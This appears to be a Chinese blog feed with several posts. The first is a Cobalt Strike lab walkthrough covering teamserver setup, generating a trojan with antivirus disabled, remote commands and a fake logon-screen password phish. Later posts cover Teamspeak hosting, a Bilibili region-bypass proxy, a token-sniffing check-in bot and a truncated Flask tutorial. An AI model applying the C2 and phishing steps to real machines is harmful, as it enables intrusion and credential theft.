Cobalt Strike(下面会简称为CS)是一款由java编写的全平台多方协同渗透测试框架,在3.0版本之前它基于Metasploit框架工作,在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节,且其最大的优点在于可以进行团队合作和优越的UI界面。

不过这东西好像是要钱的,在百度搜索可以找到别人打包好的程序,包括汉化包、服务器等东西(自己找去吧),但是一定要注意,teamserver和CS程序本体的版本号一定要一样!

如果是官方下载的纯净版,那目录结构应该是长这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CobaltStrike
│ agscript
│ c2lint
│ cobaltstrike
│ cobaltstrike.bat
│ CSAgent.jar
│ peclone
│ teamserver
│ tree.txt

├─resources
│ bdetails.txt
│ bhelp.txt
│ translation.txt

└─scripts
default.cna

开启CS服务器

CS需要一台电脑作为监听服务器,这里我直接用物理机当服务器和攻击机,用虚拟机当目标机

在Windows下,需要把以下代码复制粘贴到一个bat文件(建议放在同目录),然后再运行监听服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@echo off   
:check_java
java -version >nul 2>&1
if %errorLevel% == 0 (
goto:check_permissions
) else (
echo [-] is Java installed?
goto:eof
)

:check_permissions
echo [+] Administrative permissions required. Detecting permissions...
set TempFile_Name=%SystemRoot%\System32\BatTestUACin_SysRt%Random%.batemp
(echo "BAT Test UAC in Temp" >%TempFile_Name% ) 1>nul 2>nul
if exist %TempFile_Name% (
echo [+] Success: Administrative permissions confirmed.
del %TempFile_Name% 1>nul 2>nul
goto:check_certificate
) else (
echo [-] Failure: Current permissions inadequate.
goto:eof
)

:check_certificate
set certificate=".\cobaltstrike.store"
if exist %certificate% (
goto:test_arguments
) else (
echo [!] Please generate the cobaltstrike.store !
echo [!] Example: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
goto:eof
)

:test_arguments
set argC=0
for %%x in (%*) do Set /A argC+=1
if %argC% LSS 2 (
echo [-] teamserver ^<host^> ^<password^> [/path/to/c2.profile] [YYYY-MM-DD]
echo ^<host^> is the default IP address of this Cobalt Strike team server
echo ^<password^> is the shared password to connect to this server
echo [/path/to/c2.profile] is your Malleable C2 profile
echo [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
goto:eof
) else (
goto:run_cobal
)
:run_cobal
java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -Xms512m -Xmx1024m -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer %*

弄好了以后,打开Windows Terminal,运行下面的命令来打开监听服务器

1
.\teamserver.bat <监听ip> <服务器密码>

这里监听IP不能是0.0.0.0,必须指定ip。可以通过ipconfig来查看本机的ip地址,然后填在对应的位置,密码就自己设置了,另外打开的时候一定要用管理员权限!

开完了应该会像下面这张图这样显示

然后打开CS软件本体,输入ip和密码进行连接,出现主页面即为连接成功

开CS软件本体的方式就很简单了,可以简单粗暴直接java -jar cobaltstrike.jar,也可以把下面这些内容复制到一个bat文件然后直接双击打开(下面这里用了汉化模组CobaltStrikeCN.jar,你可以在Github搜索下载)

1
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar

生成木马文件

这个其实很简单(如果不做免杀的话),直接在顶上找到齿轮图标点一下,然后选择一个监听器生成就行了,不过在生成之前要记得一定要关闭杀软(因为没做免杀,会被杀软直接干掉)

这里我生成了一个名为beacon.exe的木马文件,把它丢到虚拟机里面双击运行(记得要把虚拟机的杀软也关了)

这里有个坑,如果你发现你的肉鸡很久都没有上线,那你应该去检查一下虚拟机的网络模式设定,我一开始设置的是NAT模式,但是NAT模式的网段跟本机的网段不太一样,就会连不上,所以要改成桥接模式才能够连接成功。

在虚拟机打开木马文件后,你攻击机的CS就会有上线提示了,然后会显示一些关于肉鸡的信息,如图所示

肉鸡上线的时候,第一件事情就是要调整延迟。如果说你想做到实时控制,那就要把延迟调整为0s,如果你想操作延迟执行,那就修改为对应的时间,默认是60s

修改也很简单,右击一下你的目标机器,在会话里面可以找到Sleep选项,点开以后修改就行了

右击选择进入beacon可以进入CS提供的命令行,对目标机器进行操作

一般可以使用shell <powershell命令>的格式来执行Windows自带的命令,例如使用shell notepad就可以在目标机器打开一个记事本,使用shell calc就可以在目标机器打开一个计算器

安装插件

CS自己就带了不少的功能,例如提权、VNC等功能,但是这些功能不太够,幸好整个CS的生态里面是有很多大佬开发插件的,这里可以在Github上随便搜搜就能找到了。这里我装了一个z1un/Z1-AggressorScripts: 适用于Cobalt Strike的插件 (github.com)整个插件集,所以我这里右击肉鸡的时候多了一个Z1选项

这里就有很多功能了,这里可以讲一下一些有趣的功能

用户密码钓鱼

很多计算机都会设置有电脑的登录密码,有的时候我们想获取用户的密码,那用得最烂但是挺有效的手段就是钓鱼(特别对于CSGO库存价值高的Steam用户来说肯定遇到过不少),这里Z1也给我们提供了对应的功能,我们可以在Z1->读取密码->钓鱼密码窃取->FakeLogonScreen里面使用这个功能,点击后会弹出一个小窗口,点击执行后,肉鸡就会显示一个钓鱼窗口了

不过有一说一这个窗口……做的还是挺次的

虚假的登录窗口

真实的登录窗口

不过这个可以自动判断用户密码的正误,直到用户输入正确了才放行,控制台会实时弹用户输入密码的情况,但是但是,对于我这种用PIN登录的人来说,获取不到PIN

输入错误

输入正确

还有一种钓鱼窗口就是Windows自带的那种认证窗口(如图)【紫色的表框是VMware的Unity模式带的,在正常的系统中显示实际上是没有没有】

不过也有一个缺点就是:正常的巨硬认证窗口是不能移动的,这个可以……

打开这个窗口也不难,只是在刚刚上面那个Windows登录的那个选项那里选择下面那个,然后设定一下标题(在这里是安全认证这几个字)就可以了。

]]>
+ + + + + CTF + + + + + + + CTF + + CobaltStrike + + Virus + + Trojan + + + +
+ + + + + Teamspeak服务器搭建指南 + + /posts/Teamspeak-Server/ + +

在跟群里的水友们进行语音的时候,我用的一般都是扣扣语音,没错就是那个Bug百出而且还超级烂的扣扣语音,虽然有一段时间用过开黑啦,但是感觉不如Discord的体验好。但是水友又不是个个都会用Discord,后来经过我们的商讨,我们决定转战Teamspeak.

下面我将会以我的经验来告诉你,一个Teamspeak服务器应该怎么搭建


首先Teamspeak不像QQ那样有官方的服务器可以用,所有的服务器都是自己搭建的(当然也有很多别人搭建好的能用,不过为了安全性考虑还是推荐自己搭建)

在教程中,我可能会Teamspeak5和Teamspeak3混用(因为我没有TS5的BETA KEY,有些功能还不能用,不过能用TS5的我还是会用TS5)

安装Teamserver

你需要到Teamserver的官网下载服务器,根据你的服务器系统下载所需要的版本(上面这个直接指向服务器下载页面)

因为我这台服务器是Debian GNU/Linux 10(Py3.7.9) x64,所以我这里下载linux 64位的版本,下载完以后直接解压

解压以后会得到下面这张图所示的这一堆东西

接着我们运行下面的命令

1
2
sudo chmod +x *
sh ts3server_startscript.sh start

它会启动我们的teamspeak服务器,如果你是root用户启动,会跟我一样收到来自teamspeak的提醒

WARNING ! For security reasons we advise: DO NOT RUN THE SERVER AS ROOT

如果你觉得以root用户启动没啥问题的话也可以不用管它,我这里因为是用了别人的服务器做教学,别人的默认账户是root,所以就弹了这个

运行后红框里面的意思就是让我们去看LICENSE和EULA之类的东西(跟你开个MC服务器是一样的),这里我们新建一个.ts3server_license_accepted来代表我们已阅读并同意LICENSE和EULA(请认真阅读后再进行此操作)

1
touch .ts3server_license_accepted

接着我们再次运行teamspeak服务器,这次就会正常开启了

第一次开启会给我们一个privilege key(特权密钥),我们需要用这个密钥来认领我们的服务器(认领的同时我们会获得管理员权限)

不过在连接之前,请确保你的防火墙开放了如图所示的端口

接着我们连接我们的Teamspeak服务器,如果是TS3的话,首次连接会直接弹出认领窗口,如果是TS5就会像我这样

我们把刚刚获得的特权密钥填入,这样我们就获得了服务器的管理员权限。同时,其他用户也可以通过teamspeak连接你的服务器了

配置服务器

认领完成后,你的右上角应该有一个铅笔样的图案了,点击它,你就能够修改服务器的一些信息

配置项如图

配置完后点击右上角的勾勾就可以了

频道管理

在我上面这张图的底下,有一个Create Channel,点击这里就可以创建频道了,分别可以设置频道的名字、密码、位置、有效期

如果没有勾选永久(TS3有临时和半永久)的话,临时频道在所有人退出后会自动销毁,半永久没用过,有用过的可以评论区说说

创建完成后,点击频道,可以看到频道的相关设置项,同样点击上面的铅笔图标进行修改

关于图标需要注意的东西:图标必须是方形(否则会给你截中间),而且大小不能超过8kb

你可以设置频道的描述、话题、名字、语音质量、语音解码方式,一般来说语音质量可以拉满,5M的小水管都能跑

配置完后同样点击右上角的勾勾来应用就可以啦

用户管理

你可以通过右键一个用户来给他相应的服务器/频道权限,也可以单击该用户,在左边的Groups里面修改权限(TS5的功能)

对于有管理权限的用户,可以踢出用户以及BAN人,服主可以将管理员权限给信任的用户进行管理,这样也能在自己不在线的时候维持服务的秩序

]]>
+ + + + + Tech + + + + + + + Tech + + Teamspeak + + + +
+ + + + + 收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming + + /posts/biliRoaming/ + +

本文禁止转载,也禁止大范围转发宣传!

因为某些众所周知的原因,有些番在B站只能在港澳台观看,而我们平时观看港澳台番剧会出现下面这张图的情况

PC端

Android端(有些可能会写“您所在的区域不支持观看”)

对于我这种追番老手来说,这可是不能接受的一件事情。而在我早期搜索B站港澳台的时候,发现了能够突破这种限制的油猴脚本bilibili-helper/README.md at user.js · ipcjs/bilibili-helper (github.com),以前这个脚本使用的是biliPlus的服务器,但是后来因为一封律师函,所以就只能自建服务器了(后面会说)

下面我将带领大家一步一步突破港澳台限制

PC端

首先你需要给浏览器装上油猴插件(这里不讲),然后打开这个链接解除B站区域限制 (greasyfork.org),安装这个插件

然后当你打开某一个番剧的详情页(不一定要港澳台的),有一个设置按钮(就是图片里面这个有点像星球的这个按钮)

点开以后在里面填写服务器,服务器可以参照哔哩漫游提供的公共服务器 公共解析服务器 · yujincheng08/BiliRoaming Wiki (github.com),也可以自建(这里不讲,哔哩漫游的wiki里面有,自己找)

我这里填的是自建服务器,因为额度有限就不共享了,upos服务器建议换成ks3(金山),比较稳定

这时候你再访问番剧页面,它就会自动给你获取港澳台的番剧看了

安卓端

你需要安装xposed框架并安装哔哩漫游模块 Releases · yujincheng08/BiliRoaming (github.com)

当然,如果你不是高玩,你也可以下载已经把模块集成在主程序的B站,官方下载地址是这个 -> https://wwe.lanzoux.com/b015ll4sb 2333

我自己打包的是这个 -> [Lspatch] [Roaming-1.6.2] 哔哩哔哩 6.69.0 [Lspatch] [Roaming-1.6.2] 哔哩哔哩HD 1.17.0

安装完成后,在设置中找到哔哩漫游设置,并按照我这样设置(解析服务器自己填,这里拿HD来做例子)

打开前三个选项

填入解析服务器

Upos更改为k3c

完成后直接点确定并重启客户端,然后就能看港澳台番剧了

苹果iOS端

你在想Peach?

Q&A

为啥只能看6分钟

因为有些番需要大会员才能看,没有大会员只能看前6分钟,所以你需要在PC端的设置页面点击账号授权(请不要给陌生的解析服务器授权,因为这会把你所有的账号信息,包括Cookie共享到服务器

自建解析服务器

我只在这里放出PHP版本的代码,我使用阿里云的云函数创建的,因为这种东西还是少人知道比较好我就不放出来我的服务器和搭建方法了,具体方法自行摸索(这个版本没有在线黑名单,要分享的时候请谨慎!其他的版本在官方的wiki有)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php

use RingCentral\Psr7\Response;
/*
To enable the initializer feature (https://help.aliyun.com/document_detail/89029.html)
please implement the initializer function as below:
function initializer($context) {
echo 'initializing' . PHP_EOL;
}
*/

function handler($request, $context): Response
{
/*
$body = $request->getBody()->getContents();
$queries = $request->getQueryParams();
$method = $request->getMethod();
$headers = $request->getHeaders();
$path = $request->getAttribute('path');
$requestURI = $request->getAttribute('requestURI');
$clientIP = $request->getAttribute('clientIP');
*/
/* Config */

$upstream_pc_url = 'https://api.bilibili.com/pgc/player/web/playurl';
$upstream_app_url = 'https://api.bilibili.com/pgc/player/api/playurl';
$timeout = 5; // seconds


/* Read incoming request */
$request_method = $request->getMethod();
$request_query = stristr($request->getAttribute("requestURI"), '?');
$req_referer = $request->getHeaderLine('referer');;
$request_headers = $request->getHeaders();
$request_body = $request->getBody()->getContents();



/* Forward request */
$ch = curl_init();

//清理相关header
array_splice($request_headers, array_search('HOST', $request_headers));
array_splice($request_headers, array_search('User-Agent', $request_headers));
array_splice($request_headers, array_search('Referer', $request_headers));


$headers = array();
foreach ($request_headers as $key => $value) {
$headers[] = $key . ': ' . $value;
}
//判断使用pc还是app接口
if (substr_count($request_query, 'platform=android') != 0) {
$url = $upstream_app_url . $request_query;
curl_setopt($ch, CURLOPT_USERAGENT, 'Bilibili Freedoooooom/MarkII');
} else {
$url = $upstream_pc_url . $request_query;
curl_setopt($ch, CURLOPT_REFERER, $req_referer);
}
//curl配置
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $request_method);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$header = array();

if ($response === false) {
$header['Content-Type'] = 'text/plain';
return new Response(
502,
$header,
'Upstream host did not respond.'
);
} else {
$header_length = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$curl_response_headers = explode("\n", substr($response, 0, $header_length));
$response_body = substr($response, $header_length);

foreach ($curl_response_headers as $header_string) {
$header_tmp = explode(': ', $header_string, 2);
if (count($header_tmp) == 2) {
$header[$header_tmp[0]] = trim($header_tmp[1]);
}
}

curl_close($ch);
// 这行用于调试请求信息
// return new Response(200, array(), json_encode(array('header' => $header, 'body' => $response_body, 'url' => $url, 'response'=>$response, 'curl_headers'=>$curl_response_headers)));
return new Response(
200,
$header,
$response_body
);
}
}

/*tool*/
//某个字符串在另一个字符串第N此出现的下标
function str_n_pos($str, $find, $n)
{
$pos_val = 0;
for ($i = 1; $i <= $n; $i++) {
$pos = strpos($str, $find);
$str = substr($str, $pos + 1);
$pos_val = $pos + $pos_val + 1;
}
$count = $pos_val - 1;
return $count;
}
]]>
+ + + + + Software + + + + + + + Host + + Software + + biliRoaming + + Cloud Function + + + +
+ + + + + MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南 + + /posts/MHYY-AutoCheckin-Manual/ + +

米哈云游(云原神)自动签到脚本食用指南

在指南开始之前,请确保你有一颗聪明的头脑和可以折腾的时间,否则请等时机合适再进行配置!

在使用过程中如果遇到什么问题,请前往Issues · GamerNoTitle/MHYY (github.com)发起新的issue来提出,不要在本页面的评论区提出问题(因为追踪性太差了)

对于正在使用本脚本的用户,请注意:每次云原神更新后(一般会跟着本体大版本更新就更一次),请把自己的配置中的version修改为最新的云原神版本,否则可能会出现不可预料的错误;并且请及时更新脚本,在自己的仓库点击Fetch upstream然后点击Merge即可!)

现在这个值是作为fallback值使用,只有当官方的版本号服务器不可用时才会用到这个值,所以有空就改,不改也可以

用前必读

⚠️请不要进行宣传,谢谢!一旦发现宣传就删库跑路!使用过程中如果出现bug可能会使用您的日志进行错误追踪,详情请见隐私政策

快速开始

先点个STAR,我们马上开始我们的教程:D

青龙面板

如果你选择使用青龙面板,那么你需要执行以下操作

首先点开订阅管理,把这个命令粘贴进去

1
ql repo http://gogs.console.bili33.top/GamerNoTitle/MHYY-AutoCheckin.git "main" "" ""

然后他会自动识别,并填入相应的内容,你只需要修改定时规则即可,名称按照自己需要修改

如果上面这个命令贴进去后因为网络原因(有可能我的gogs宕机了)或者其他原因拉取不了,可以改成下面这个

1
ql repo https://github.com/GamerNoTitle/MHYY.git "main" "" ""

优先还是建议用gogs的那个,谁知道啥时候Github就给我仓库封了呢~

保存以后点击运行按钮更新一下订阅

在定时任务中你就能找到刚刚更新的内容,但是还不能够使用,我们还需要配置依赖和环境变量

我们需要两个python3依赖,分别是requestssentry-sdk,如图填写并安装

然后点到环境变量,新建名为config的变量(可以改,请见青龙面板不使用config作为变量名)把我们的配置填进去,点击保存

配置应该如下(单个账号)

1
2
3
4
5
6
7
8
9
10
11
{
"token": "token1",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
}

程序已经支持多个账号了,多个账号你需要按照下面这个格式填写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[
{
"token": "token1",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
},
{
"token": "token2",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
}
]

保存后你就可以在定时任务中运行试试看效果了~

青龙面板不使用config作为变量名

先点开脚本管理,找到你对MHYY-AutoCheckin的命名,然后打开它的文件夹,找到main.py文件,在大约23行的位置找到以下内容

1
2
# Running in Github Action, use this to get the config
config = json.loads(os.environ.get('config'))

把括号里的config改成你想要的名字,然后配置环境变量的时候就直接改成你配置的名字就可以了~

Github Action 版本

原仓库在2023/02/03收到Github通知封禁,镜像仓库在GamerNoTitle/MHYY: Disabled Action, if you need it, enable it by yourself (github.com),本项目仓库的Github Action已经被我手动禁用,如果需要使用Action版本,请将~/.github/workflows文件夹内的两个文件后面的.disabled删掉!

首先你需要先打开本脚本的仓库GamerNoTitle/MHYY: 米哈云游(云原神)自动签到脚本,让你每天都拿到15分钟~ (github.com),点击右上角的fork按钮,接着点击下面绿色的Create fork来创建一个分支

然后点击上面的Settings,导航到Secrets->Actions页面下,点击New repository secret(如图)

将以下内容进行填充后加入名字为config的Secret中(内容获取请参照配置内容获取一节)

1
2
3
4
5
6
7
8
9
10
11
{
"token": "",
"type": 0,
"version": "2.2.0",
"android": "0",
"deviceid": "",
"devicename": "",
"devicemodel": "",
"appid": 0,
"analytics": true
}

阿里云函数版本

首先你得先下载本仓库的代码文件,点击右上角绿色的Code,然后点击Download ZIP,把压缩包下载后解压到一个你知道的地方,我们一会会用到

先打开阿里云函数,点左边的函数服务,然后顶上选择地区,随便选(但是最好是国内)

点击创建服务来建立一个新的服务

紧接着创建一个新的函数,设置方法如下面几张图

创建后会自动打开阿里云函数的vscode,在这里,点击上面的Terminal,点击New Terminal(也可以直接快捷键Ctrl + Shift + `

打开以后在里面输入下面的命令

1
chmod +x ./preinstall.sh && ./preinstall.sh

运行完以后,打开config.json,把自己的配置内容填进去即可,然后点击部署代码

一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!

要是不确定能不能使用,可以点一下顶上的测试函数,看看能不能使用

腾讯云函数版本(不推荐,腾讯要收钱了,可以在阿里云函数使用,正常是不会用完你的免费额度的)

首先你得先下载本仓库的代码文件,点击右上角绿色的Code,然后点击Download ZIP,把压缩包下载后解压到一个你知道的地方,我们一会会用到

先打开腾讯云函数,点左边的函数服务,然后顶上选择地区,随便选(但是最好是国内)

点击新建来建立一个新的函数

函数的名称可以随便填,但是你也得符合腾讯云指定的规则;但是运行环境一定一定要选择Python 3.6(因为Python 3.7不带我们需要的环境,还需要自己装非常麻烦)

接着往下,提交方法选择本地上传文件夹,然后选择你刚刚解压的文件夹里面的SCF文件夹,接着重点来啦:执行方法里面填写为index.handler(一定要改)

接着点击下面的触发器配置,选择自定义创建,触发方式选择定时触发,触发周期选择每1天,下面的启用要打勾,点击完成

创建完成后进入配置界面,先点击顶上的函数配置,点击编辑,往下面拉找到初始化超时时间执行超时时间,把这两个数字往高了调

然后点击顶上的函数代码,等底下加载完后点击config.json,把你的信息填进去

然后打开终端,输入以下代码安装依赖

1
chmod +x ./preinstall.sh && ./preinstall.sh

一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!

往下拉,先点击部署,然后点测试,只要测试成功了就是部署完成了

其他云函数

其他的云函数有如下

用法其实跟阿里云函数腾讯云函数大差不差,看着用就行了,不会就开issue问

配置解释(配置内容获取

  • token 是在云原神登录后用于验证的token
  • type (应该)是设备类型,安卓好像是2,iOS设备用户是1但是目前还不支持iOS设备,请看这里
  • version 是云原神的版本(每次更新以后记得改一下,不然可能会出问题 不用改了,现在改成从官方服务器获取版本号)
  • android 安卓版本,例如我的红米K40的安卓版本是Android 12,就填入12,应该是只有Android有,因为手上只有Android设备,如果你愿意用iOS设备进行测试的话,请将相关内容发邮件到GamerNoTitle@outlook.com
  • deviceid 设备在米哈游注册的id(格式为UUID,例如d76fb4b4-b898-4093-990d-c57ebb40f29b
  • devicename 设备的名称
  • devicemodel 设备的型号(请注意:deviceid devicename devicemodel 尽量是同一台手机的内容,因为指不定那天米忽悠就对这三个东西进行校验了,当然你要用公共的我也不阻止对吧)
  • appid 暂时不清楚,从我目前手上各用户提交的统计信息来看,好像是云原神这个应用在米哈游的应用id(貌似不会变)
  • analytics 因为关于这个东西的信息太少,所以会把除了token以外的东西发送到我的云端服务器以便于分析,如果你不想分享你的信息(包括设备id、设备名称、设备型号等),请将这个设置为false

配置完成后,我们点开顶上的Actions,然后点绿色的那个按钮

然后点击左侧列表中的两个脚本,点Enable workflow来启用

然后我们点开左侧的AutoCheckin,然后点Run workflow来运行,只要运行结果打了绿色的勾勾就一般就没啥问题

自动保活

事实上,对于现版本的Github Action,只需要把KeepActionAlive打开即可,下面的这些操作是旧版本的Action所需要的

因为Github在仓库没有push三个月后会停用仓库的一切Action,所以说我们需要进行保活。

在启用KeepActionAlive之前,你需要创建一个用来push更改的GITHUB_TOKEN

右上角点击自己的头像,然后点击Settings,然后在左侧的导航栏找到Developer Settings

然后在左边找到Personal Access Tokens,点击Generate new token生成一个token,名字填写为GITHUB_TOKEN

把过期时间设置为No expiration,然后依次勾选下面内容

然后点最下面的绿色按钮Generate token即可

在Action页面启用KeppActionAlive即可!脚本会在每个月的1号自动推送更新从而达到保活的目的。

配置内容获取

因为云原神是在手机上运行的,所以你需要安装一个手机上的抓包软件(例如HttpCanary,或者如果你能够用fiddler电脑运行去抓也行)

一定要记得装抓包软件提供的证书,要不然解不了SSL连接,一定要先登录并成功进去了再启动抓包软件!!!

这里面只要是个HTTP链接,随便一个里面都有我们所需要的东西,这里我就点开了一个链接,在请求里面有所有我们需要的东西,而解释我都写在图片里面了

其中,这里面的东西与变量有如下的对应关系

1
2
3
4
5
6
7
8
9
10
11
{
"token": x-rpc-combo_token,
"type": x-rpc-client_type,
"version": x-rpc-app_version,
"android": x-rpc-sys_version,
"deviceid": x-rpc-device_id,
"devicename": x-rpc-device_name,
"devicemodel": x-rpc-device_model,
"appid": x-rpc-app_id,
"analytics": true
}

version不是必要的,在a4e5f06..7bd5d44 commit中,使用了米忽悠自己的api获取云原神的最新版本号,此处填写version只是作为获取不到最新版本号时的fallback值

对于token(应该说写作token念作cookie)由以下几部分组成:

  • ai 一个数值,具体含义未知
  • ci 一个数值,具体含义未知
  • oi 一个数值,推测是米游社ID
  • ct 一串字符,具体作用未知,推测为认证使用
  • si 一串字符,具体作用未知,推测为认证使用
  • bi 一串字符,推测为服务器通道

只要把对应的内容填到配置中即可!对于字符串类型的内容请使用双引号而不是单引号,json不认单引号(在错误收集中发现有此类现象,故特别提出)

请不定时自己上线米哈云游(云原神)来清理签到的提醒消息,不然会一直堆积着,就要点好多次了

堆积的信息可以在运行结果中查看

iOS设备用户须知

因为米忽悠在请求头中的cms-signature键中写了用了hmac-sha1加密方法,这种加密方法需要要加密的信息密钥,这两个东西我这边目前都不能确定(其实有要加密的信息就可以去猜密钥,但是目前不清楚是对什么进行了加密),而且在CONTENT-MD5中,还对请求的MD5进行了校验(这个好搞,主要是前面那个),最后还有一个时间Date的请求头(目前猜是发出请求的时间),总的来说就是不好搞,如果你手上是iOS设备,并且你愿意用iOS设备进行测试的话,请将相关内容发邮件到GamerNoTitle@outlook.com,最好是抓到的所有包都截图发一下(我好进行判断),并且抓多几次(感谢多玩幻灵qwq愿意与我共享他的抓包数据,这是我第一次收到iOS设备有关信息,谢谢你的共享:D)

已知iOS设备抓包会包含以下内容(以log获取为例)[感谢@多玩幻灵qwq在QQ给我提供的完整请求]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Host: log-upload.mihoyo.com
x-rpc-device_model: iPhone11,8<表示iPhone的版本,可能会在新iPhone出来后变更,11,8表示从iPhone 11 ~ iPhone 8的设备(懒狗米忽悠)>
Cookie: account_id=<猜测是米游社ID>; cookie_token=<认证用的Token>; ltoken=<认证用的Token+1>; ltuid=<米游社ID+1,应该跟account_id是一样的>
User-Agent: %E4%BA%91%C2%B7%E5%8E%9F%E7%A5%9E/24 CFNetwork/1331.0.7 Darwin/21.4.0(前面那里的URL解码后是"云·原神")
Referer: https://app.mihoyo.com
x-rpc-device_name: iPhone
cms-signature: hmac-sha1
Content-Length: <请求长度,暂时不知道怎么算的>
CONTENT-MD5: <MD5校验值,暂时不知道是拿什么东西算的MD5>
Date: <时间戳值,为请求发出时间>
x-rpc-combo_token: <格式同Android抓包得到的格式>
x-rpc-channel: appstore
x-rpc-app_version: <云原神版本>
Authorization: <身份认证Key,暂时不知道会不会变>
Accept-Language: zh-CN,zh-Hans;q=0.9
Connection: keep-alive
x-rpc-client_type: 1<1表示iOS系列>
x-rpc-device_id: <设备ID,格式为UUID5>
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
x-rpc-sys_version: <iOS版本>

Q&A

青龙面板里面怎么用 (因仓库被封所以issue没了,请看青龙面板一节

使用Action版本,把配置写入config.json内,然后根据这个链接里面的做法对脚本进行小修改就可以用了

为什么要把信息作为统计数据发到统计服务器? 统计服务器已关闭,本条目已失效

因为我手头上的信息实在太少了,而且按照米忽悠的习惯,他们的数据如果没有庞大的数据量的话很难分析出一个所以然来,所以我这里需要大量的数据。如果你不想共享你的数据,请将配置中的analytics设置为false

SCF版本出现报错

报错内容为:wait_time = random(1, 300) # Random wait time TypeError: 'module' object is not callable

更新一下脚本就好了,在commit1665099已经修好了(感谢@Elletear发现这个问题并提交PR#5

KeepActionAlive运行失败(权限不足)

具体如图所示,这个要得益于昨天Github的一个更新GitHub Actions - Updating the default GITHUB_TOKEN permissions to read-only | GitHub Changelog

在仓库里面点击Settings => Actions => General,往下拉找到Workflow permissions,把原来的Read repository contents and packages permissions改为上面的Read and write permissions,然后点击下面的Save键就可以了

发现了bug/无法使用

请前往Issues · GamerNoTitle/MHYY (github.com)发起新的issue来提出,不要在本页面的评论区提出问题(因为追踪性太差了)

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Tutorial + + Script + + + +
+ + + + + 用Python和Flask打造属于自己的API + + /posts/API-FLASK/ + +

先上api链接:https://api.ninym.top

文档链接:https://ninym.top


快速开始

环境安装

首先既然是用python+flask,这两个东西肯定要装好的嘛~ Python的安装我就不讲了,主要说下flask

很简单,安装命令就一行

Linux

1
pip3 install flask

Windows

1
pip install flask

因为我这里已经安装过了,所以写的是Requirement already satisfied,如果没有安装过的话会进入安装状态

# Hello World

既然要用flask框架,那就首先要引用,在python中,我们可以使用import语句来引用外部模块

1
from flask import Flask

当然可以在后面加上as xxx给它取个别名(特别是对于那些名字很长的modules,下面会讲)

接下来我们创建我们的第一个flask程序

1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)
@app.route('/', methods=['GET'])
def parser():
return '<h1>Hello World!</h1>'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, debug=False)

然后我们直接运行命令python <file>.py就可以运行我们的服务器了(Linux请使用python3 <file>.py,下面不再赘述,只讲Windows,Linux用户请自行替换)

然后我们在浏览器访问我们的网站,在这里可以使用127.0.0.1:8080访问,因为服务器就是部署在本机器上面的,打开后就会显示Hello World了

注:图标是我的浏览器本地缓存,正常情况下网站是没有图标的(因为没有设置)

太棒啦,你现在已经学会创建Flask程序啦!

我的Flask程序

网易云音乐下载

我在玩这个东西的过程中,主要是想把我的网易云音乐的API给重制一下(之前是用JavaScript写的烂代码,而且不会自动重命名,就想把这个功能完善一下),所以在我住院的期间,我就开始干起了这个东西。

首先先新建一个utils文件夹,里面放各种自制模块,然后新建了NeteaseCloudMusic.py来写我的这部分的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests as r
import bs4
import os
import re


